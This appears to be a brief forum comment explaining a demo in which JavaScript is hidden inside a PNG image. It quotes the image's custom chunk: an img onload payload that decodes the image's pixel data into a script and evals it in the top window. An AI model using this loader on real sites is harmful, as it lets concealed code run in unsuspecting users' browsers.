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by jjarmoc 4086 days ago
Right, just rung strings on the demo and you'll see the custom PNG chunk:

``` jawh<img onload=with(document.createElement('canvas'))p=width=4968,(c=getContext('2d')).drawImage(this,e='',0);while(p)e+=String.fromCharCode(c.getImageData(0,0,p,1).data[p-=4]);(t=top).eval(e) src=#> ```